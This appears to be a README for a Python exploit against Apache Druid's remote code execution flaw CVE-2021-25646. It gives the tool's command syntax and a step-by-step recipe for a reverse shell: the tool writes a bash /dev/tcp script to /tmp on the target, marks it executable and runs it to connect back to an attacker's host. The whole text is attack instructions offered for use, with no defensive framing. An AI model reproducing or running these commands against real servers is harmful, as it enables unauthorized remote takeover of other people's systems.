
Python exploit for Apache Druid remote code execution (CVE-2021-25646) with reverse shell and command execution capabilities.
usage: python3 CVE-2021-25646.py -u http://x.x.x.x -c cmd
Reverse shell as follows:
Write reverse shell script
python3 CVE-2021-25646.py -u http://x.x.x.x -c "echo 'bash -i >& /dev/tcp/x.x.x.x/xxxx 0>&1' > /tmp/1.sh"
Grant execution permission to the shell script
python3 CVE-2021-25646.py -u http://x.x.x.x -c "chmod +x /tmp/1.sh"
Execute the shell
python3 CVE-2021-25646.py -u http://x.x.x.x -c "/bin/bash /tmp/1.sh"